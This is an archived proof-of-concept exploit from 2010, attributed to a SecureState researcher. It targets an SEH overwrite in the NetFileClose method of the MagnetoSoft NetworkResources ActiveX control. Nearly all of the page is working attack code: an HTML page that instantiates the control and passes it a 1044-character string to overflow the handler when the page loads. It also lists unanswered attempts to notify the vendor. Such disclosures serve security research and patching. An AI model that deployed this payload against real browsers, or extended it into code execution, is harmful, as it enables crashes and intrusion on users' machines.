[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MagnetoSoft NetworkResources v4.0.0.5 ActiveX NetFileClose SEH Overwrite POC
# Published : 2010-04-13
# Author : s4squatch
# Previous Title : MagnetoSoft NetworkResources v4.0.0.5 ActiveX NetSessionDel POC
# Next Title : MagnetoSoft NetworkResources v4.0.0.5 ActiveX NetShareEnum SEH Overwrite POC 


<html>
<object classid='clsid:61251370-92BF-4A0E-8236-5904AC6FC9F2' id='target' /></object>
<script language='vbscript'>
'Magneto Software Net Resource ActiveX NetFileClose SEH Overwrite POC
'Discovered by:  s4squatch of SecureState R&D Team
'Site:  www.securestate.com
'Date Discovered: 02/11/10
'www:  http://www.magnetosoft.com/products/sknetresource/sknetresource_features.htm
'Download:  http://www.magnetosoft.com/downloads/SystemInfoPackSetup.exe
'Vendor Notified: 02/02/10 --> NO RESPONSE
'Vendor Notified: 02/11/10 --> NO RESPONSE
'Vendor Notified: 02/17/10 --> NO RESPONSE
'SKNetResource.ocx
'Function NetFileClose ( ByVal strServerName As String ,  ByVal dwFileId As Long ) As Long
'progid = "SKNETRESOURCELib.SKNetResource"

'SEH overwrite
arg1=String(1044, "A")
arg2=1
target.NetFileClose arg1 ,arg2 

</script>